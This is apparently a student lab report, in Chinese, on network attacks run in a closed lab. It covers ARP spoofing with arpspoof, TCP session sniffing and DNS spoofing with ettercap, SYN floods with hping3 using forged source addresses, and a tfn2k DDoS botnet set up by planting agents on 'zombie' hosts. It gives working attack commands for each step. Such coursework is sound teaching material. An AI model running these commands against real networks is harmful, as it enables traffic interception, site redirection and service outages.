【计算机网络安全】网络攻击
实验二 网络攻击
实验人员:第五组全体成员
一、实验目的:
1:掌握ARP欺骗的原理,实践ARP欺骗的过程。
2:掌握TCP劫持的原理,实践TCP劫持的过程。
3:掌握DNS欺骗的原理,实践DNS欺骗的过程。
4:掌握DOS攻击的原理,实践DOS攻击的过程。
二、实验原理、设计(+拓扑):
1:网络拓扑图
2:实验原理
【1】ARP欺骗
攻击者通过伪造和发送虚假的ARP响应报文,使目标主机或网络设备(如交换机、路由器)更新其ARP表中IP地址与MAC地址的对应关系,从而达到拦截、篡改或窃取网络数据的目的。
ARP协议用于将IP地址解析为MAC地址。当主机A需要与主机B通信但不知道主机B的MAC地址时,主机A会广播ARP请求,主机B回复自己的MAC地址,主机A将此对照关系存储到ARP缓存中。
【2】TCP劫持
攻击者通过伪造或篡改TCP连接的通信数据,从而插入、拦截、或修改通信流量。攻击者通过窃听正在进行的TCP连接,获取当前的序列号和其他连接信息。攻击者伪造合法的TCP报文(如带有正确序列号和确认号),插入到通信中,冒充一方与另一方通信。如果攻击者成功,通信的合法一方可能被中断或忽略,攻击者完全接管会话。
TCP协议在建立连接时,采用三次握手过程。第一次是客户端向服务器发送SYN报文(请求建立连接)。第二次是服务器收到请求后发送SYN-ACK报文(确认连接请求)。第三次是客户端收到确认后发送ACK报文(确认接收服务器的响应),连接建立。
【3】DNS欺骗
攻击者通过伪造域名解析结果,将用户引导到错误的IP地址或恶意网站。这种攻击通常利用DNS协议缺乏验证机制的漏洞,目的是中断正常通信、窃取敏感信息或传播恶意软件。攻击者伪装成权威DNS服务器,发送伪造的响应报文给本地DNS服务器。本地DNS服务器接收伪造的结果,并将其缓存。用户查询时,本地DNS服务器返回伪造的结果。
DNS将人类可读的域名解析为计算机可读的IP地址。解析过程通常包括多个步骤,由本地DNS服务器和权威DNS服务器共同完成。用户向本地DNS服务器发送查询请求。如果本地DNS服务器无法直接回答,会递归查询权威DNS服务器获取正确的IP地址。本地DNS服务器将结果返回给用户,同时缓存解析结果以便后续使用。
【4】DOS攻击
攻击者通过大量非法请求消耗目标服务器、网络或系统的资源,使其无法正常提供服务。DoS攻击的目的是让合法用户无法访问服务,而不是直接窃取或篡改数据。
【5】DDos攻击
DDoS(分布式拒绝服务攻击)是一种DoS(拒绝服务攻击)的升级版。攻击者利用分布式设备(通常是由恶意软件控制的“僵尸网络”)同时向目标发送大量流量或请求,从而导致目标系统资源耗尽或网络带宽堵塞,无法为正常用户提供服务。
三、实验步骤、内容、数据(现象):
以下为方便叙述在内网中的各个主机的ip地址,定义1号主机的ip为10.205.5.11,2号主机的ip为10.205.5.22,3号主机的ip为10.205.5.33,4号主机的ip为10.205.5.44。
内容1:内网中的ARP欺骗
【1】在3号主机上,配置内网服务器
通过apt install apache2,安装Web服务器依赖。
通过systemctl start apache2,启动apache2。
通过systemctl enable apache2,开启apache2的服务。
通过echo “<html><body><h1>hello</h1></body></html>” | sudo tee /var/www/html/index.html,配置本地的服务器网页内容。
通过systemctl restart apache2,重启apache2。
在火狐浏览器中输入10.205.5.33/index.html,访问配置好的内网服务器。
【2】在2号主机上,访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现第一跳直接能访问内网服务器。
在火狐浏览器中输入10.205.5.33/index.html,发现2号主机可以正常访问内网服务器。
【3】在1号主机上,使用ARP攻击
通过arpspoof -I eth0 -t 10.205.5.22 10.205.5.33,攻击2号服务器。
【4】在2号主机上,再次访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现无法进行路由的第一跳。
在火狐浏览器中输入10.205.5.33/index.html,发现2号主机不可以正常访问内网服务器。
【5】在1号主机上,停止ARP攻击
按下快捷键ctrl + C,停止ARP攻击。
【6】在2号主机上,再次访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现第一跳直接能访问内网服务器。
综上所述,内网中的ARP欺骗需要3台主机,其中1台主机配置内网服务器,1台主机进行攻击,1台主机被攻击。
内容2:TCP劫持
【1】在4号主机上,开启ettercap
通过ettercap -G,启动嗅探。
primary interface选择内网网卡。
点击左上角的放大镜logo,扫描网段内的用户。
点击右上角的更多,选择hosts,选择hosts list。
查询到2个host信息,分别是1号主机和3号主机,同时还有他们的IP地址和对应的MAC地址。
注:后续我们将靶机换成了2号主机和3号主机。
【2】在4号主机上,设置靶机并进行ARP欺骗
把3号主机放到target1中,把2号主机放到target2中。
选择菜单中的ARP poisoning,进行ARP欺骗。
【3】在靶机上,查看欺骗结果
通过arp -a,在3号主机上查看缓存信息中IP地址和MAC地址的对应关系。
发现网段中所有的IP地址所对应的MAC地址均为同一个00开头d4结尾的地址。
在4号主机上,通过ifconfig,查到该MAC地址是4号主机的内网MAC,说明欺骗成功。
【4】在靶机上,模拟劫持登录
在3号主机上,通过ssh kali[at]10.205.5.22,访问2号主机的非root账户,并输入密码进行登录。
注:2号主机需要开启ssh服务,通过systemctl start ssh。
在3号主机上,继续通过ifconfig,查看该账户的ip地址。发现确为2号主机。
【5】在4号主机上,查看连接情况
点击ettercap右上角的view,点击connections,发现有一个22端口的连接包。
双击打开,可以获取到该包的加密后信息。
内容3:DNS欺骗
【1】在3号主机上,编辑ettercap工具的DNS配置文件
通过gedit /etc/Ettercap/etter.dns,在编辑框下打开dns配置文件。在非注释部分添加新的A记录和PTR记录。
Dns配置文件打开后的内容,如下图所示。在配置文件中,需要按照[域名 + 记录类型 + 攻击者主机IP地址]的形式添加记录。
此处假设需要劫持的网站域名是新浪www.sina.com.cn,且3号主机的外网IP是192.168.0.117,那么需要增加的A记录和PTR记录分别是:
www.sina.com.cn A 192.168.0.117
www.sina.com.cn PTR 192.168.0.117
记录添加完成后,通过快捷键ctrl + s保存dns配置文件。
【2】在3号主机上,启动kali内置的apache服务
通过service apache2 start,启动apache服务。
这个步骤可以使得靶机能够访问到攻击主机所设置的被dns劫持后的页面,默认为页面是在攻击主机的/var/www/html/index.html文件下。以下是3号主机在内网ip下的访问结果。
【3】在3号主机上,启动ettercap工具并嗅探靶机
通过ettercap -G,打开ettercap的可视化界面。
在初始化菜单栏中,选择外网网卡接口,并嗅探外网存活的主机IP。
查看扫描结果,并把目标靶机设置为target1,把网关设置为target2。在此处,目标靶机是2号主机,其外网ip是192.168.0.122。默认网关是192.168.0.254。
【4】在3号主机上,对靶机进行dns攻击
点击插件plugins,选择manage plugins。
双击dns_spoof,启动dns攻击。此后靶机无法正常访问新浪网站。
再次双击dns_spoof,可以停止对靶机的dns攻击。
【其他】使用终端命令,启动对目标靶机进行dns攻击
在1号主机上,通过ipconfig,查看本地网络配置。
在3号主机上,通过arpspoof -i eth1 -t 192.168.0.123 192.168.0.254,对1号主机进行外网的arp攻击。
在1号主机上,通过arp -a,查看arp缓存表。可以发现攻击主机的ip地址和物理地址已被加入。
在3号主机上,通过ettercap -i eth1 -Tp -M arp:remote -P dns_spoof /192.168.0.123// /192.168.0.254//,对1号主机进行外网的dns攻击。
在1号主机上,通过ping www.sina.com.cn,访问新浪网站。可以发现回复的ip是192.168.0.117,为3号主机的外网ip。
在3号主机上,可以看到1号主机的TCP包的去向。
内容4:DOS攻击(kali攻击kali)
【1】在3号主机上,对4号主机进行一对一的dos攻击
通过hping -I eth0 -a 10.205.5.55 -S 10.205.5.44 -p 80 -I u1000,把3号主机的ip地址伪装成10.205.5.55,向4号主机发送SYN包,发起大量SYN连接进行攻击。
【2】在4号主机上,查看wireshark的抓包结果
在wireshark的抓包中,可以看到有许多源地址为10.205.5.55且目标地址为10.205.5.44的SYN包。说明3号主机伪装ip攻击成功。
内容5:DOS攻击(kali攻击windows)
【1】在3号主机上,测试网络连通性
通过ping 10.205.5.22,测试3号主机与2号主机在内网下的连通性。
通过windows任务管理器查看3号主机的性能,发现一切正常。
【2】在2号主机上,使用dos攻击
通过hping3 -q -n -a 1.1.1.2 -S -s 53 –keep -p 445 –flood 10.205.5.33,对3号主机进行SYN FLOOD攻击。
【3】在3号主机上,查看任务管理器
3号主机的性能中,内存方面直接爆炸,电脑出现严重卡顿。
内容6:DDOS攻击(tfn2k)
【1】在2号主机上,下载并解压tfn2k
在学吧网站上,把tfn2k软件包下载到kali系统上。
通过tar -zxvf tfn2k.tar.gz -C ./,解压tfn2k到当前目录。
【2】在2号主机上,编译tfn2k
通过cd ./tfn2k,进入tfn2k目录下。
通过sudo make,编译tfn2k,此步需要输入kali用户下的密码。
在编译过程中,需要自定义8到32位的密钥,并记住。为了方便,此处我们使用了12345678作为密钥。
编译完成后,通过ls,检查编译结果。可以看到文件目录下新增了td和tfn这2个文件。
tfn为主控端,通过此程序对代理端加密、下发攻击指令。Td为代理端,负责解密、接受攻击命令并发起攻击。代理端和主控端之间的⽹络通讯是进⾏加密的,使⽤的是AES对此加密算法,所以作为加密、解密的双⽅都需要知道密钥,加密⽅使⽤密钥对信息进⾏加密,解密⽅使⽤密钥对信息解密。
【3】在2号主机上,把td代理持续植入肉鸡
通过touch ip.txt,新建记录肉鸡ip地址的文本文件。
通过echo “10.205.5.33”>ip.txt,把3号主机当作肉鸡,填写到文本文件中。
通过rsync ./td kali@10.205.5.33:~/,把td文件传到肉鸡上。此步需要输入3号主机的kali用户密码。
【4】在2号主机上,通过ssh登录肉鸡并配置td
通过ssh kali@10.205.5.33,登录3号主机。
通过ifconfig,查看是否登录成功。可以发现eth0显示为10.205.5.33,说明ssh登录肉鸡成功。
通过su,登录3号主机的root用户。
通过./td,运行td文件。
通过ps -a,查看td是否运行成功。
【5】在2号主机上,新建终端,进行控制测试
通过./tfn -f ip.txt -c 10 -i "mkdir /home/kali/hello",在肉鸡的kali用户下建立一个hello文件。
在3号主机的该路径下,可以查看到新建了文件夹。这说明操纵机可以通过td操纵肉鸡。
【6】在2号主机上,操纵肉鸡,对目标机器进行攻击
通过./tfn -f ip.txt -c 6 -I 10.205.5.11,操纵3号主机对1号主机进行攻击。
通过./tfn -f ip.txt -c 0,停止攻击。
【7】在1号主机上,通过wireshark抓包查看攻击过程
2号主机可以通过-c,控制攻击所发送的包的类型。
当-c后面所带的参数是6时,采用短时间内发送大量的ICMP包进行攻击。
当-c后面所带的参数是5时,采用短时间内发送大量的TCP包进行攻击。
当-c后面所带的参数是4时,采用短时间内发送大量的UDP包进行攻击。
当-c后面所带的参数是8时,采用短时间内发送大量的混合包(ICMP+UDP+TCP)进行攻击。
四、思考(问题小结,包括未解决)
1:在dns攻击中,目标靶机必须在windows下运行,同时需要先开启arp攻击,再开启dns攻击。如果目标靶机在kali下运行,则在外网条件下,arp攻击都是无效的。
2:在内网条件下进行arp攻击时,攻击主机需要先在本地配置一个内网服务器。
3:在进行ddos多对一攻击时,需要区分当前终端下的用户是来自操纵机器还是来自肉鸡。同时需要判断新建的文件夹是在操纵机器上还是在肉鸡上。
相关文章:

【计算机网络安全】网络攻击
实验二 网络攻击 实验人员:第五组全体成员 一、实验目的: 1:掌握ARP欺骗的原理,实践ARP欺骗的过程。 2:掌握TCP劫持的原理,实践TCP劫持的过程。 3:掌握DNS欺骗的原理,实践DN…...
20241230 基础数学-线性代数-(1)求解特征值(numpy, scipy)
所有代码实现,基于教程中的理论通过python实现出来的。效率不高,但有代码可以看。 由于scipy/sckitlearn/sparkx 底层的实现都被封装了(小白兔水平有限,fortran代码实在没看懂)这里的实现至少可以和理论公式对应的上。…...

基于图注意力网络的两阶段图匹配点云配准方法
Two-stage graph matching point cloud registration method based on graph attention network— 基于图注意力网络的两阶段图匹配点云配准方法 从两阶段点云配准方法中找一些图匹配的一些灵感。文章提出了两阶段图匹配点云配准网络(TSGM-Net) TSGM-Ne…...

【半导体光电子器件】课后习题答案和知识点汇总
关注作者了解更多 我的其他CSDN专栏 求职面试 大学英语 过程控制系统 工程测试技术 虚拟仪器技术 可编程控制器 工业现场总线 数字图像处理 智能控制 传感器技术 嵌入式系统 复变函数与积分变换 单片机原理 线性代数 大学物理 热工与工程流体力学 数字信号处…...

Unity命令行传递自定义参数 命令行打包
命令行参数增加位置 -executeMethod 某脚本.某方法 参数1 参数2 参数3 ... 例如执行EditorTest.GetCommandLineArgs方法 增加两个命令行参数 Version=125 CDNVersion=100 -executeMethod EditorTest.GetCommandLineArgs Version=125 CDNVersion=100 Unity测试脚本 需要放在…...

web-worker应用在大文件切片上传
当文件体积过大时,传统的文件上传方式往往会导致页面卡顿,用户体验不佳。为了解决这一问题,我们可以利用Web Worker技术来进行大文件的切片上传。本文将详细介绍如何使用Web Worker进行大文件切片上传,并通过具体的例子来演示其实…...
Django 模板分割及多语言支持案例【需求文档】-->【实现方案】
Django 模板分割及多语言支持案例 这个案例旨在提供一个清晰的示范,展示如何将复杂的页面分解为多个可复用的模板组件,使代码更加模块化和易于管理。希望这篇案例文章对你有所帮助。 概述 在 Django 项目开发中,使用模板分割和多语言支持能…...
C中设计不允许继承的类的实现方法是什么?
在C中,设计不允许继承的类可以通过多种方法实现。以下是详细的方法说明及示例: ### 方法一:将构造函数和析构函数设为私有 这种方法的核心思想是通过将构造函数和析构函数设为私有,使得子类无法调用这些函数,从而无法…...
面对小白的C语言学习方法
这是第20篇文章,不来弄一些技术的,弄一些最近的学习心得,怎么更有效地自学C语言 书籍 书籍可以很有效的告知我们专有函数,使用方法还有一些思考方式,缺点是实操差点意思,还是不太能解决实际问题ÿ…...

使用libgif库解码全过程(C语言)-包括扩展块的处理
我看到的所有例程,都把扩展部分的处理跳过了,而我的动画是有透明度的,这就导致解码后的图像在有透明色的像素部分,呈现了很多的黑点,或者闪白的情况出现。经过调试,终于成功。 文件格式 先了解一下GIF的文…...
blazor实现ASP.NET网站用户批量注册方法
ASP.NET网站用户批量注册是许多使用blazor系统开发遇到的问题,为了解决这个问题,我们提出比较完善的解决方法,通过代码实现了一个批量用户注册功能,用于解析一份用户名列表,并通过后台服务注册用户,同时对成功和失败的注册进行记录和反馈。以下是实现功能的详细工作原理描…...

SpringCloud 入门(4)—— 网关
上一篇:SpringCloud 入门(3)—— Nacos配置中心-CSDN博客 Spring Cloud Gateway 作为 Spring Cloud 生态系统的一部分,主要在微服务架构中充当 API 网关的角色。它提供了统一的入口点来处理所有的 HTTP 请求,并将这些请…...
什么是WebAssembly?怎么使用?
一、简述 WebAssembly,也称为Wasm,是基于堆栈的虚拟机的二进制指令格式。它被设计为一个可移植的目标,用于编译C、C和Rust等高级编程语言,允许代码以接近本机速度在web浏览器中运行。WebAssembly于2015年由包括谷歌、微软、Mozill…...

v3s点RGB屏 40pin 800x480,不一样的点屏,不通过chosen。
一、背景、目的、简介。 一般来说,通过uboot将屏幕参数传给kernel,是通过修改设备树。 uboot和kernel都需要屏幕点亮。uboot侧重于显示一张图片。而kernel则多是动画。 在这里,我先是找到了一个裸机点屏的代码。将其编译成静态库后&#x…...

某科技局国产服务器PVE虚拟化技术文档
环境介绍 硬件配置 服务器品牌:黄河 型号:Huanghe 2280 V2 Cpu型号:kunpeng-920 磁盘信息 :480SSD * 2 ,4T*4 网卡:板载四口千兆 如下表 四台服务器同等型号配置,均做单节点虚拟化,数据保护采用底层r…...

中科岩创边坡自动化监测解决方案
行业现状 由于边坡不稳定性因素,可能会造成斜坡上的岩土体沿着某个面不均匀向下向外滑动,形成滑坡;陡峭山坡上岩土体在重力作用下,发生陡然倾落运动,造成崩塌;在沟谷或山坡上产生的夹带大量泥沙、石块等固体…...
GPT-O3:简单介绍
GPT-O3:人工智能领域的重大突破 近日,OpenAI发布了其最新的AI模型GPT-O3,这一模型在AGI评估中取得了惊人的成绩,展现出强大的能力和潜力。GPT-O3的出现标志着人工智能领域的重大进步,预计将在2025年实现更大的突破。 …...

cudnn版本gpu架构
nvcc --help 可以看 --gpu-architecture 写到的支持的架构 NVIDIA 的 GPU 架构是按代次发布的,以下是这些架构的对应说明: NVIDIA Hopper: 这是 NVIDIA 于 2022 年推出的架构之一,面向高性能计算(HPC)和人工智能&…...

数据库安全-redisCouchdb
1.redis未授权访问 默认端口:6379 1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543 介绍:Redis 是一套开源的使用 ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis 如果在没有开启认证的情况下,…...

ubuntu22.04安装PaddleX3
PaddleOCR 安装过程可以参考PaddleX本地安装教程 我的电脑环境配置: ubuntu22.04 cuda11.8(之前安装的是12.4没有匹配的paddle-gpu;这里改成11.8) 一、安装基础环境 1、 conda create -n ppx1 python3.10 2、 conda activate ppx1 3、…...

springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...
JS设计模式(4):观察者模式
JS设计模式(4):观察者模式 一、引入 在开发中,我们经常会遇到这样的场景:一个对象的状态变化需要自动通知其他对象,比如: 电商平台中,商品库存变化时需要通知所有订阅该商品的用户;新闻网站中࿰…...

Linux 中如何提取压缩文件 ?
Linux 是一种流行的开源操作系统,它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间,使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的,要在 …...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...
【LeetCode】3309. 连接二进制表示可形成的最大数值(递归|回溯|位运算)
LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 题目描述解题思路Java代码 题目描述 题目链接:LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 给你一个长度为 3 的整数数组 nums。 现以某种顺序 连接…...

华为OD机试-最短木板长度-二分法(A卷,100分)
此题是一个最大化最小值的典型例题, 因为搜索范围是有界的,上界最大木板长度补充的全部木料长度,下界最小木板长度; 即left0,right10^6; 我们可以设置一个候选值x(mid),将木板的长度全部都补充到x,如果成功…...
LCTF液晶可调谐滤波器在多光谱相机捕捉无人机目标检测中的作用
中达瑞和自2005年成立以来,一直在光谱成像领域深度钻研和发展,始终致力于研发高性能、高可靠性的光谱成像相机,为科研院校提供更优的产品和服务。在《低空背景下无人机目标的光谱特征研究及目标检测应用》这篇论文中提到中达瑞和 LCTF 作为多…...
Docker拉取MySQL后数据库连接失败的解决方案
在使用Docker部署MySQL时,拉取并启动容器后,有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致,包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因,并提供解决方案。 一、确认MySQL容器的运行状态 …...